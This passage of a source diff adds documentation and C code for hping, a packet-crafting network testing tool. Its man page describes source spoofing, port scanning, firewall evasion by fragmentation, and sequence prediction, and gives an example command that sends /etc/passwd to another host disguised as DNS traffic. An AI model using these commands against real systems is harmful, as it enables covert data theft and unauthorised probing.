Ceci peut ne pas corre­ + spondre à la taille du datagramme IP à cause du rembour­ + rage bas niveau de la couche liaison de données. + + ip est l'adresse ip source. + + flags sont les drapeaux TCP, R pour RESET, S pour SYN, A + pour ACK, F pour FIN, P pour PUSH, U pour URGENT, X pour + 0x40 non standard, Y pour 0x80 non standard. + + Si la réponse contient DF l'entête IP possède le bit don't + fragment (ndt : ne pas fragmenter) positionné. + + seq est le numéro de séquence du paquet, obtenu en util­ + isant le port source pour les paquets TCP/UDP, le champ + séquence pour les paquets ICMP. + + id est le champ IP ID. + + win est la taille de la fenêtre TCP + + rtt est le "round trip time" (ndt : temps aller-retour) en + millisecondes. + + Si vous exécutez hping en utilisant l'option -V de la + ligne de commande il affichera des informations supplémen­ + taires à propos du paquet, par exemple : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 + rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d + urp=0 + + tos est le champ type de service de l'entête IP. + + iplen est le champ IP longueur totale. + + seq et ack sont les numéros de séquence et d'acquittement + sur 32 bits dans l'entête TCP. + + sum est la valeur de la somme de contrôle de l'entête TCP. + + urp est la valeur du pointeur urgent TCP. + +FORMAT DE SORTIE UDP + Le format standard de sortie est : + + len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms + + La signification des champs est la même que celle de la + sortie TCP pour les champs de même nom. + +FORMAT DE SORTIE ICMP + Un exemple de sortie ICMP est : + + ICMP Port Unreachable from ip=192.168.1.1 name=nano.mar­ + moc.net + + Il est très facile à comprendre. Il commence avec la + chaîne "ICMP" suivie par la description de l'erreur ICMP, + dans l'exemple Port Unreachable (ndt : port non accessi­ + ble). Le champ ip est l'adresse IP source du datagramme IP + contenant l'erreur ICMP, le champ name est simplement + l'adresse numérique résolue en un nom (une requête dns + PTR) ou UNKNOWN si la résolution a échoué. + + Le format ICMP de Time exceeded during ou de reassembly + est un peu différent : + + TTL 0 during transit from ip=192.168.1.1 name=nano.mar­ + moc.net + + TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN + + La seule différence est la description de l'erreur, elle + commence avec TTL 0. + +AUTEUR + Salvatore Sanfilippo , avec l'aide des + personnes mentionnées dans le fichier AUTHORS et sur + http://www.hping.org/authors.html + +BOGUES + Même en utilisant les options --end et --safe pour + transférer des fichiers, le paquet final sera rembourré + avec des octets 0x00. + + Les données sont lues sans tenir compte de l'alignement, + mais l'alignement est imposé dans les structures de + données. Ceci ne sera pas un problème sous i386 mais, + alors que normalement les entêtes TCP/IP sont naturelle­ + ment alignées, cela peut créer des problèmes avec divers + processeurs et des paquets mal-formés si il y a des accès + non alignés quelque part dans le code (aucun avec un peu + de chance). + + Sur Solaris hping ne fonctionne pas sur l'interface loop­ + back. Ceci semble être un problème solaris, comme exposé + dans la liste de diffusion tcpdump-workers, ainsi la libp­ + cap ne peut rien faire pour la supporter correctement. + +VOIR AUSSI + ping(8), traceroute(8), ifconfig(8), nmap(1) + +TRADUCTEUR + Denis Ducamp + + 2001 Aug 14 HPING2(8) diff --git a/docs/hping2.8 b/docs/hping2.8 new file mode 100644 index 0000000..1576496 --- /dev/null +++ b/docs/hping2.8 @@ -0,0 +1,738 @@ +.TH HPING2 8 "2001 Aug 14" +.SH NAME +hping6 \- send (almost) arbitrary TCP/IP packets to network hosts +.SH SYNOPSIS +.B hping6 +[ +.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG6 +] [ +.B \-c +.I count +] [ +.B \-i +.I wait +] [ +.B \-\-fast +] [ +.B \-I +.I interface +] [ +.B \--lhs +.I bytes +] [ +.B \-9 +.I signature +] [ +.B \-a +.I host +] [ +.B \-t +.I ttl +] [ +.B \-N +.I ip id +] [ +.B \-H +.I ip protocol +] [ +.B \-g +.I fragoff +] [ +.B \-m +.I mtu +] [ +.B \-o +.I tos +] [ +.B \-C +.I icmp type +] [ +.B \-K +.I icmp code +] [ +.B \-s +.I source port +] [ +.B \-p[+][+] +.I dest port +] [ +.B \-w +.I tcp window +] [ +.B \-O +.I tcp offset +] [ +.B \-M +.I tcp sequence number +] [ +.B \-L +.I tcp ack +] [ +.B \-d +.I data size +] [ +.B \-E +.I filename +] [ +.B \-e +.I signature +] [ +.B \-\-icmp\-ipver +.I version +] [ +.B \-\-icmp\-iphlen +.I length +] [ +.B \-\-icmp\-iplen +.I length +] [ +.B \-\-icmp\-ipid +.I id +] [ +.B \-\-icmp\-ipproto +.I protocol +] [ +.B \-\-icmp\-cksum +.I checksum +] [ +.B \-\-icmp\-ts +] [ +.B \-\-icmp\-addr +] [ +.B \-\-tcpexitcode +] [ +.B \-\-tcp-timestamp +] [ +.B \-\-tr-stop +] [ +.B \-\-tr-keep-ttl +] [ +.B \-\-tr-no-rtt +] [ +.B \-\-rand-dest +] [ +.B \-\-rand-source +] [ +.B \-\-bps +.I bitrate +] [ +.B \-\-pps +.I packetrate +] +hostname +.br +.ad +.SH DESCRIPTION +hping2 is a network tool able to send custom TCP/IP packets and to +display target replies like ping program does with ICMP replies. hping2 +handle fragmentation, arbitrary packets body and size and can be used in +order to transfer files encapsulated under supported protocols. Using +hping2 you are able to perform at least the following stuff: + + - Test firewall rules + - Advanced port scanning + - Test net performance using different protocols, + packet size, TOS (type of service) and fragmentation. + - Path MTU discovery + - Transferring files between even really fascist firewall + rules. + - Traceroute-like under different protocols. + - Firewalk-like usage. + - Remote OS fingerprinting. + - TCP/IP stack auditing. + - A lot of others. + +.IR "It's also a good didactic tool to learn TCP/IP" . +hping2 is developed and maintained by antirez@invece.org and is +licensed under GPL version 2. Development is open so you can send +me patches, suggestion and affronts without inhibitions. +.SH HPING SITE +primary site at +.BR http://www.hping.org . +You can found both the stable release and the instruction +to download the latest source code at http://www.hping.org/download.html +.SH BASE OPTIONS +.TP +.I -h --help +Show an help screen on standard output, so you can pipe to less. +.TP +.I -v --version +Show version information and API used to access to data link layer, +.I linux sock packet +or +.IR libpcap. +.TP +.I -c --count count +Stop after sending (and receiving) +.I count +response packets. After last packet was send hping2 wait COUNTREACHED_TIMEOUT +seconds target host replies. You are able to tune COUNTREACHED_TIMEOUT editing +hping2.h +.TP +.I -i --interval +Wait +the specified number of seconds or micro seconds between sending each packet. +--interval X set +.I wait +to X seconds, --interval uX set +.I wait +to X micro seconds. +The default is to wait +one second between each packet. Using hping2 to transfer files tune this +option is really important in order to increase transfer rate. Even using +hping2 to perform idle/spoofing scanning you should tune this option, see +.B HPING2-HOWTO +for more information. +.TP +.I --fast +Alias for -i u10000. Hping will send 10 packets for second. +.TP +.I --faster +Alias for -i u1. Faster than --fast ;) (but not as fast as your computer can send packets due to the signal-driven design). +.TP +.I --bps bitrate +Send bitrate bits per second, no response packet checking. +.TP +.I --pps packetrate +Send packetrate packets per second, no response packet checking. +.TP +.I -n --numeric +Numeric output only, No attempt will be made to lookup symbolic names for host addresses. +.TP +.I -q --quiet +Quiet output. Nothing is displayed except the summary lines at +startup time and when finished. +.TP +.I -I --interface interface name +By default on linux and BSD systems hping2 uses default routing interface. +In other systems or when there is no default route +hping2 uses the first non-loopback interface. +However you are able to force hping2 to use the interface you need using +this option. Note: you don't need to specify the whole name, for +example -I et will match eth0 ethernet0 myet1 et cetera. If no interfaces +match hping2 will try to use lo. +.TP +.I --lhs bytes +Override the automatically detected link header size. +.TP +.I -V --verbose +Enable verbose output. TCP replies will be shown as follows: + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 +.TP +.I -D --debug +Enable debug mode, it's useful when you experience some problem with +hping2. When debug mode is enabled you will get more information about +.B interface detection, data link layer access, interface settings, options +.B parsing, fragmentation, HCMP protocol +and other stuff. +.TP +.I -z --bind +Bind CTRL+Z to +.B time to live (TTL) +so you will able to increment/decrement ttl of outgoing packets pressing +CTRL+Z once or twice. +.TP +.I -Z --unbind +Unbind CTRL+Z so you will able to stop hping2. +.SH PROTOCOL SELECTION +Default protocol is TCP, by default hping2 will send tcp headers to target +host's port 0 with a winsize of 64 without any tcp flag on. Often this +is the best way to do an 'hide ping', useful when target is behind +a firewall that drop ICMP. Moreover a tcp null-flag to port 0 has a good +probability of not being logged. +.TP +.I -0 --rawip +RAW IP mode, in this mode hping2 will send IP header with data +appended with --signature and/or --file, see also --ipproto that +allows you to set the ip protocol field. +.TP +.I -1 --icmp +ICMP mode, by default hping2 will send ICMP echo-request, you can set +other ICMP type/code using +.B --icmptype --icmpcode +options. +.TP +.I -2 --udp +UDP mode, by default hping2 will send udp to target host's port 0. +UDP header tunable options are the following: +.B --baseport, --destport, --keep. +.TP +.I -6 --ipv6 +IPv6 mode. +.TP +.I -8 --scan +Scan mode, the option expects an argument that describes groups of +ports to scan. port groups are comma separated: a number describes +just a single port, so 1,2,3 means port 1, 2 and 3. ranges are specified +using a start-end notation, like 1-1000, that tell hping to scan ports between 1 and 1000 (included). the special word +.B all +is an alias for 0-65535, while the special word +.B known +includes all the ports listed in /etc/services. +.br +Groups can be combined, so the following command line will +scan ports between 1 and 1000 AND port 8888 AND ports listed in /etc/services: +.B hping --scan 1-1000,8888,known -S target.host.com +.br +Groups can be negated (subtracted) using a ! character as prefix, +so the following command line will scan all the ports NOT listed +in /etc/services in the range 1-1024: +.B hping --scan '1-1024,!known' -S target.host.com +.br +Keep in mind that while hping seems much more like a port scanner in +this mode, most of the hping switches are still honored, so for example to +perform a SYN scan you need to specify the +.B -S +option, you can change the TCP windows size, TTL, control the +IP fragmentation as usually, and so on. The only real difference is that +the standard hping behaviors are encapsulated into a scanning +algorithm. +.br +.BR "Tech note" : +The scan mode uses a two-processes design, with shared memory for synchronization. The scanning algorithm is still not optimal, but already quite fast. +.br +.BR Hint : +unlike most scanners, hping shows some interesting info about received +packets, the IP ID, TCP win, TTL, and so on, don't forget to look +at this additional information when you perform a scan! Sometimes they +shows interesting details. +.TP +.I -9 --listen signature +HPING2 listen mode, using this option hping2 waits for packet that contain +.I signature +and dump from +.I signature +end to packet's end. For example if hping2 --listen TEST reads a packet +that contain +.B 234-09sdflkjs45-TESThello_world +it will display +.BR hello_world . +.SH IP RELATED OPTIONS +.TP +.I -a --spoof hostname +Use this option in order to set a fake IP source address, this option +ensures that target will not gain your real address. However replies +will be sent to spoofed address, so you will can't see them. In order +to see how it's possible to perform spoofed/idle scanning see the +.BR HPING2-HOWTO . +.TP +.I --rand-source +This option enables the +.BR "random source mode" . +hping will send packets with random source address. It is interesting +to use this option to stress firewall state tables, and other +per-ip basis dynamic tables inside the TCP/IP stacks and firewall +software. +.TP +.I --rand-dest +This option enables the +.BR "random destination mode" . +hping will send the packets to random addresses obtained following +the rule you specify as the target host. You need to specify +a numerical IP address as target host like +.BR 10.0.0.x . +All the occurrences of +.B x +will be replaced with a random number in the range 0-255. So to obtain +Internet IP addresses in the whole IPv4 space use something like +.BR "hping x.x.x.x --rand-dest" . +If you are not sure about what kind of addresses your rule is generating +try to use the +.B --debug +switch to display every new destination address generated. +When this option is turned on, matching packets will be accept from all +the destinations. +.br +.BR Warning : +when this option is enabled hping can't detect the right outgoing +interface for the packets, so you should use the +.B --interface +option to select the desired outgoing interface. +.TP +.I -t --ttl time to live +Using this option you can set +.B TTL (time to live) +of outgoing packets, it's likely that you will use this with +.B --traceroute +or +.B --bind +options. If in doubt try +.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'." +.TP +.I -N --id +Set ip->id field. Default id is random but if fragmentation is turned on +and id isn't specified it will be +.BR "getpid() & 0xFF" , +to implement a better solution is in TODO list. +.TP +.I -H --ipproto +Set the ip protocol in RAW IP mode. +.TP +.I -W --winid +id from Windows* systems before Win2k has different byte ordering, if this +option is enable +hping2 will properly display id replies from those Windows. +.TP +.I -r --rel +Display id increments instead of id. See the +.B HPING2-HOWTO +for more information. Increments aren't computed as id[N]-id[N-1] but +using packet loss compensation. See relid.c for more information. +.TP +.I -f --frag +Split packets in more fragments, this may be useful in order to test +IP stacks fragmentation performance and to test if some +packet filter is so weak that can be passed using tiny fragments +(anachronistic). Default 'virtual mtu' is 16 bytes. see also +.I --mtu +option. +.TP +.I -x --morefrag +Set more fragments IP flag, use this option if you want that target +host send an +.BR "ICMP time-exceeded during reassembly" . +.TP +.I -y --dontfrag +Set don't fragment IP flag, this can be used to perform +.BR "MTU path discovery" . +.TP +.I -g --fragoff fragment offset value +Set the fragment offset. +.TP +.I -m --mtu mtu value +Set different 'virtual mtu' than 16 when fragmentation is enabled. If +packets size is greater that 'virtual mtu' fragmentation is automatically +turned on. +.TP +.I -o --tos hex_tos +Set +.BR "Type Of Service (TOS)" , +for more information try +.BR "--tos help" . +.TP +.I -G --rroute +Record route. Includes the RECORD_ROUTE option in each packet sent and +displays the route buffer of returned packets. Note that the IP header +is only large enough for nine such routes. Many hosts ignore or discard +this option. Also note that using hping you are able to use record route +even if target host filter ICMP. Record route is an IP option, not +an ICMP option, so you can use record route option even in TCP and UDP +mode. +.SH ICMP RELATED OPTIONS +.TP +.I -C --icmptype type +Set icmp type, default is +.B ICMP echo request +(implies --icmp). +.TP +.I -K --icmpcode code +Set icmp code, default is 0 (implies --icmp). +.TP +.I --icmp-ipver +Set IP version of IP header contained into ICMP data, default is 4. +.TP +.I --icmp-iphlen +Set IP header length of IP header contained into ICMP data, default is 5 (5 words of 32 bits). +.TP +.I --icmp-iplen +Set IP packet length of IP header contained into ICMP data, default is the real +length. +.TP +.I --icmp-ipid +Set IP id of IP header contained into ICMP data, default is random. +.TP +.I --icmp-ipproto +Set IP protocol of IP header contained into ICMP data, default is TCP. +.TP +.I --icmp-cksum +Set ICMP checksum, for default is the valid checksum. +.TP +.I --icmp-ts +Alias for --icmptype 13 (to send ICMP timestamp requests). +.TP +.I --icmp-addr +Alias for --icmptype 17 (to send ICMP address mask requests). +.SH TCP/UDP RELATED OPTIONS +.TP +.I -s --baseport source port +hping2 uses source port in order to guess replies sequence number. It +starts with a base source port number, and increase this number for each +packet sent. When packet is received sequence number can be computed as +.IR "replies.dest.port - base.source.port" . +Default base source port is random, using this option you are able to +set different number. If you need that source port not be increased for +each sent packet use the +.I -k --keep +option. +.TP +.I -p --destport [+][+]dest port +Set destination port, default is 0. If '+' character precedes dest port +number (i.e. +1024) destination port will be increased for each reply +received. If double '+' precedes dest port number (i.e. ++1024), destination +port will be increased for each packet sent. +By default destination port can be modified interactively using +.BR CTRL+z . +.TP +.I --keep +keep still source port, see +.I --baseport +for more information. +.TP +.I -w --win +Set TCP window size. Default is 64. +.TP +.I -O --tcpoff +Set fake tcp data offset. Normal data offset is tcphdrlen / 4. +.TP +.I -M --setseq +Set the TCP sequence number. +.TP +.I -L --setack +Set the TCP ack. +.TP +.I -Q --seqnum +This option can be used in order to collect sequence numbers generated +by target host. This can be useful when you need to analyze whether +TCP sequence number is predictable. Output example: + +.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 +.nf +HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes +2361294848 +2361294848 +2411626496 +50331648 +2545844224 +134217728 +2713616384 +167772160 +2881388544 +167772160 +3049160704 +167772160 +3216932864 +167772160 +3384705024 +167772160 +3552477184 +167772160 +3720249344 +167772160 +3888021504 +167772160 +4055793664 +167772160 +4223565824 +167772160 +.fi + +The first column reports the sequence number, the second difference +between current and last sequence number. As you can see target host's sequence +numbers are predictable. +.TP +.I -b --badcksum +Send packets with a bad UDP/TCP checksum. +.TP +.I --tcp-timestamp +Enable the TCP timestamp option, and try to guess the timestamp update +frequency and the remote system uptime. +.TP +.I -F --fin +Set FIN tcp flag. +.TP +.I -S --syn +Set SYN tcp flag. +.TP +.I -R --rst +Set RST tcp flag. +.TP +.I -P --push +Set PUSH tcp flag. +.TP +.I -A --ack +Set ACK tcp flag. +.TP +.I -U --urg +Set URG tcp flag. +.TP +.I -X --xmas +Set Xmas tcp flag. +.TP +.I -Y --ymas +Set Ymas tcp flag. +.SH COMMON OPTIONS +.TP +.I -d --data data size +Set packet body size. Warning, using --data 40 hping2 will not generate +0 byte packets but protocol_header+40 bytes. hping2 will display +packet size information as first line output, like this: +.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes +.TP +.I -E --file filename +Use +.B filename +contents to fill packet's data. +.TP +.I -e --sign signature +Fill first +.I signature length +bytes of data with +.IR signature . +If the +.I signature length +is bigger than data size an error message will be displayed. +If you don't specify the data size hping will use the signature +size as data size. +This option can be used safely with +.I --file filename +option, remainder data space will be filled using +.IR filename . +.TP +.I -j --dump +Dump received packets in hex. +.TP +.I -J --print +Dump received packets' printable characters. +.TP +.I -B --safe +Enable safe protocol, using this option lost packets in file transfers +will be resent. For example in order to send file /etc/passwd from host +A to host B you may use the following: +.nf +.I [host_a] +.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd +.I [host_b] +.B # hping2 host_a --listen signature --safe --icmp +.fi +.TP +.I -u --end +If you are using +.I --file filename +option, tell you when EOF has been reached. Moreover prevent that other end +accept more packets. Please, for more information see the +.BR HPING2-HOWTO . +.TP +.I -T --traceroute +Traceroute mode. Using this option hping2 will increase ttl for each +.B ICMP time to live 0 during transit +received. Try +.BR "hping2 host --traceroute" . +This option implies --bind and --ttl 1. You can override the ttl of 1 +using the --ttl option. Since 2.0.0 stable it prints RTT information. +.TP +.I --tr-keep-ttl +Keep the TTL fixed in traceroute mode, so you can monitor just one hop +in the route. For example, to monitor how the 5th hop changes or +how its RTT changes you can try +.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" . +.TP +.I --tr-stop +If this option is specified hping will exit once the first packet +that isn't an ICMP time exceeded is received. This better emulates +the traceroute behavior. +.TP +.I --tr-no-rtt +Don't show RTT information in traceroute mode. The ICMP time exceeded RTT +information aren't even calculated if this option is set. +.TP +.I --tcpexitcode +Exit with last received packet tcp->th_flag as exit code. Useful for scripts +that need, for example, to known if the port 999 of some host reply with +SYN/ACK or with RST in response to SYN, i.e. the service is up or down. +.SH TCP OUTPUT FORMAT +The standard TCP output format is the following: + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms + +.B len +is the size, in bytes, of the data captured from the data link layer +excluding the data link header size. This may not match the IP datagram +size due to low level transport layer padding. + +.B ip +is the source ip address. + +.B flags +are the TCP flags, R for RESET, S for SYN, A for ACK, F for FIN, +P for PUSH, U for URGENT, X for not standard 0x40, Y for not standard +0x80. + +If the reply contains +.B DF +the IP header has the don't fragment bit set. + +.B seq +is the sequence number of the packet, obtained using the source +port for TCP/UDP packets, the sequence field for ICMP packets. + +.B id +is the IP ID field. + +.B win +is the TCP window size. + +.B rtt +is the round trip time in milliseconds. + +If you run hping using the +.B -V +command line switch it will display additional information about the +packet, example: + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 + +.B tos +is the type of service field of the IP header. + +.B iplen +is the IP total len field. + +.B seq and ack +are the sequence and acknowledge 32bit numbers in the TCP header. + +.B sum +is the TCP header checksum value. + +.B urp +is the TCP urgent pointer value. + +.SH UDP OUTPUT FORMAT + +The standard output format is: + +len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms + +The field meaning is just the same as the TCP output meaning of the +same fields. + +.SH ICMP OUTPUT FORMAT + +An example of ICMP output is: + +ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net + +It is very simple to understand. It starts with the string "ICMP" +followed by the description of the ICMP error, Port Unreachable +in the example. The ip field is the IP source address of the IP +datagram containing the ICMP error, the name field is just the +numerical address resolved to a name (a dns PTR request) or UNKNOWN if the +resolution failed. + +The ICMP Time exceeded during transit or reassembly format is a bit +different: + +TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net + +TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN + +The only difference is the description of the error, it starts with +TTL 0. + +.SH AUTHOR +Salvatore Sanfilippo , with the help of the people mentioned in AUTHORS file and at http://www.hping.org/authors.html +.SH BUGS +Even using the --end and --safe options to transfer files the final packet +will be padded with 0x00 bytes. +.PP +Data is read without care about alignment, but alignment is enforced +in the data structures. +This will not be a problem under i386 but, while usually the TCP/IP +headers are naturally aligned, may create problems with different +processors and bogus packets if there is some unaligned access around +the code (hopefully none). +.PP +On solaris hping does not work on the loopback interface. This seems +a solaris problem, as stated in the tcpdump-workers mailing list, +so the libpcap can't do nothing to handle it properly. +.SH SEE ALSO +ping(8), traceroute(8), ifconfig(8), nmap(1) diff --git a/gethostname.c b/gethostname.c new file mode 100644 index 0000000..85ffd55 --- /dev/null +++ b/gethostname.c @@ -0,0 +1,54 @@ +/* + * $smu-mark$ + * $name: gethostname.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +size_t strlcpy(char *dst, const char *src, size_t siz); + +char *get_hostname(const char* addr) +{ + static char answer[1024]; + static char lastreq[1024] = {'\0'}; /* last request */ + struct hostent *he; + struct in6_addr naddr6; + static char *last_answerp = NULL; + + printf(" get hostname..."); fflush(stdout); + printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b" + " " + "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"); + + if (!strcmp(addr, lastreq)) + return last_answerp; + + strlcpy(lastreq, addr, 1024); + inet_pton(opt_af, addr, &naddr6); + he = gethostbyaddr((char*)&naddr6, sizeof(naddr6), opt_af); + + if (he == NULL) { + last_answerp = NULL; + return NULL; + } + + strlcpy(answer, he->h_name, 1024); + last_answerp = answer; + + return answer; +} + diff --git a/getifname.c b/getifname.c new file mode 100644 index 0000000..a755a3c --- /dev/null +++ b/getifname.c @@ -0,0 +1,413 @@ +/* getifname.c -- network interface handling + * Copyright(C) 1999,2000,2001 Salvatore Sanfilippo + * Copyright(C) 2001 by Nicolas Jombart + * This code is under the GPL license */ + +/* BSD support thanks to Nicolas Jombart */ + +#include /* perror */ +#include +#include +#include +#include +#include +#include /* struct sockaddr_in */ +#include /* inet_ntoa */ +#include +#include /* close */ + +#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || \ + defined(__bsdi__) || defined(__APPLE__) +#include +#include +#include +#endif /* defined(__*BSD__) */ + +#include "hping2.h" +#include "globals.h" + +#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ + !defined(__linux__) && !defined(__sun__) && !defined(__bsdi__) && \ + !defined(__APPLE__) +#error Sorry, interface code not implemented. +#endif + +#ifdef __sun__ +#include +#include +#include +#endif + +static int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip); + +#if (defined OSTYPE_LINUX) || (defined __sun__) +char * +get_v6_if_name(__u8 *ip) +{ + FILE *fd; + char buf[1024]; + char addr[33]; + int i; + + for(i = 0; i < 16; i++) + sprintf(addr + i * 2, "%02x", ip[i]); + + if(!(fd = fopen("/proc/net/if_inet6", "r"))) + { + perror("Warning: Unable to open /proc/net/if_inet6\n"); + return NULL; + } + while(fgets(buf, sizeof(buf), fd)) + { + if(!strncmp(buf, addr, 32)) + { + sscanf(buf, "%*32s %*02x %*02x %*02x %*02x %40s\n", ifname); + return ifname; + } + } + fclose(fd); + return NULL; +} + +int get_if_name(void) +{ + int fd; + struct ifconf ifc; + struct ifreq ibuf[16], + ifr, + *ifrp, + *ifend; + struct SOCKADDR sa; + struct SOCKADDR output_if_addr; + int known_output_if = 0; + + /* Try to get the output interface address according to + * the OS routing table */ + if (ifname[0] == '\0') { + if (get_output_if(&remote, &output_if_addr) == 0) { + known_output_if = 1; + inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr)); + if(opt_ipv6) + get_v6_if_name((__u8 *)&((struct sockaddr_in6*)&output_if_addr)->sin6_addr.s6_addr); + memcpy(&local, &output_if_addr, sizeof(local)); + if (opt_debug) + printf("DEBUG: Output interface address: %s\n", + ifstraddr); + } else { + fprintf(stderr, "Warning: Unable to guess the output " + "interface\n"); + } + } + + if ( (fd = socket(opt_af, SOCK_DGRAM, 0)) == -1) { + perror("[get_if_name] socket(AF_INET, SOCK_DGRAM, 0)"); + return -1; + } + + memset(ibuf, 0, sizeof(struct ifreq)*16); + ifc.ifc_len = sizeof ibuf; + ifc.ifc_buf = (caddr_t) ibuf; + + ifrp = ibuf; + if(ifname[0] == 0) + { + /* gets interfaces list */ + if ( ioctl(fd, SIOCGIFCONF, (char*)&ifc) == -1 || + ifc.ifc_len < sizeof(struct ifreq) ) { + perror("[get_if_name] ioctl(SIOCGIFCONF)"); + close(fd); + return -1; + } + + /* ifrp points to buffer and ifend points to buffer's end */ + ifend = (struct ifreq*) ((char*)ibuf + ifc.ifc_len); + } + else + ifend = ifrp + 1; + + + for (; ifrp < ifend; ifrp++) { + if(ifname[0] == 0) + strlcpy(ifr.ifr_name, ifrp->ifr_name, sizeof(ifr.ifr_name)); + else + strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); + + if ( ioctl(fd, SIOCGIFFLAGS, (char*)&ifr) == -1) { + if (opt_debug) + perror("DEBUG: [get_if_name] ioctl(SIOCGIFFLAGS)"); + continue; + } + + if (opt_debug) + printf("DEBUG: if %s: ", ifr.ifr_name); + + /* Down interface? */ + if ( !(ifr.ifr_flags & IFF_UP) ) + { + if (opt_debug) + printf("DOWN\n"); + continue; + } + + if(!opt_ipv6) + { + if (known_output_if) { + /* Get the interface address */ + if (ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) { + perror("[get_if_name] ioctl(SIOCGIFADDR)"); + continue; + } + /* Copy it */ + memcpy(&sa, &ifr.ifr_addr, + sizeof(struct sockaddr_in)); + /* Check if it is what we are looking for */ + if ((*(struct sockaddr_in*)&sa).sin_addr.s_addr != + (*(struct sockaddr_in*)&output_if_addr).sin_addr.s_addr) { + if (opt_debug) + printf("The address doesn't match\n"); + continue; + } + } else if (ifname[0] != '\0' && !strstr(ifr.ifr_name, ifname)) { + if (opt_debug) + printf("Don't Match (but seems to be UP)\n"); + continue; + } + } + + if (opt_debug) + printf("OK\n"); + + /* interface found, save if name */ + strlcpy(ifname, ifr.ifr_name, 1024); + + /* get if address */ + if(!known_output_if) + { + if ( ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) { + perror("DEBUG: [get_if_name] ioctl(SIOCGIFADDR)"); + exit(1); + } + + /* save if address */ + memcpy(&sa, &ifr.ifr_addr, + sizeof(struct sockaddr_in)); + inet_ntop(opt_af, ADDR(&output_if_addr), ifstraddr, sizeof(ifstraddr)); + } + + /* get if mtu */ + if ( ioctl(fd, SIOCGIFMTU, (char*)&ifr) == -1) { + perror("Warning: [get_if_name] ioctl(SIOCGIFMTU)"); + fprintf(stderr, "Using a fixed MTU of 1500\n"); + h_if_mtu = 1500; + } + else + { +#ifdef __sun__ + /* somehow solaris is braidamaged in wrt ifr_mtu */ + h_if_mtu = ifr.ifr_metric; +#else + h_if_mtu = ifr.ifr_mtu; +#endif + } + close(fd); + return 0; + } + /* interface not found, use 'lo' */ + strlcpy(ifname, "lo", 1024); + if(ifstraddr[0] == 0) + { + if(opt_ipv6) + strcpy(ifstraddr, "::1"); + else + strcpy(ifstraddr, "127.0.0.1"); + } + h_if_mtu = 1500; + + close(fd); + return 0; +} + +#elif defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) || \ + defined(__bsdi__) || defined(__APPLE__) + +/* return interface informations : + - from the specified (-I) interface + - from the routing table + - or at least from the first UP interface found +*/ +int get_if_name(void) +{ + /* variable declarations */ + struct ifaddrs *ifap, *ifa; + char current_if_name[24]; + char saved_ifname[24]; + struct SOCKADDR output_if_addr; + char tmp[1024]; +#ifdef __NetBSD__ + int s; + struct ifreq ifr; +#endif /* __NetBSD__ */ + + if (getifaddrs(&ifap) < 0) + perror("getifaddrs"); + + saved_ifname[0] = 0; + + /* lookup desired interface */ + if(ifname[0] == 0) { + /* find gateway interface from kernel */ + if (get_output_if(&remote, &output_if_addr) == 0) { + if (opt_debug) + printf("DEBUG: Output interface address: %s\n", + inet_ntop(opt_af, ADDR(&output_if_addr), tmp, sizeof(tmp))); + /* Put something in saved_ifname in order to tell + that the output adress is known */ + saved_ifname[0] = 'X'; saved_ifname[1] = 0; + } else { + fprintf(stderr, "Warning: Unable to guess the output " + "interface\n"); + } + } + else { + /* use the forced interface name */ + strlcpy(saved_ifname,ifname,24); + } + + /* get interface information */ + for (ifa = ifap; ifa; ifa = ifa->ifa_next) { + + if (opt_debug) printf("\n DEBUG: if %s: ", ifa->ifa_name); + + /* print if the data structure is null or not */ + if (ifa->ifa_data) { + if(opt_debug) printf("DEBUG: (struct DATA) "); } + else + if(opt_debug) printf("DEBUG: (struct DATA is NULL) "); + + if (!(ifa->ifa_flags & IFF_UP)) { /* if down */ + if (opt_debug) + printf("DEBUG: DOWN"); + continue; + } + + if ((ifa->ifa_flags & IFF_LOOPBACK)&& + (strncmp(saved_ifname,"lo0",3))) { /* if loopback */ + if (opt_debug) + printf("DEBUG: LOOPBACK, SKIPPED"); + continue; + } + + if (ifa->ifa_addr->sa_family == AF_LINK) { + if (opt_debug) + printf("DEBUG: AF_LINK "); + strlcpy(ifname,ifa->ifa_name,1024); + strlcpy(current_if_name,ifa->ifa_name,24); + +/* I don't know why NetBSD behavior is not the same */ +#ifdef __NetBSD__ + memset( &ifr, 0, sizeof(ifr)); + 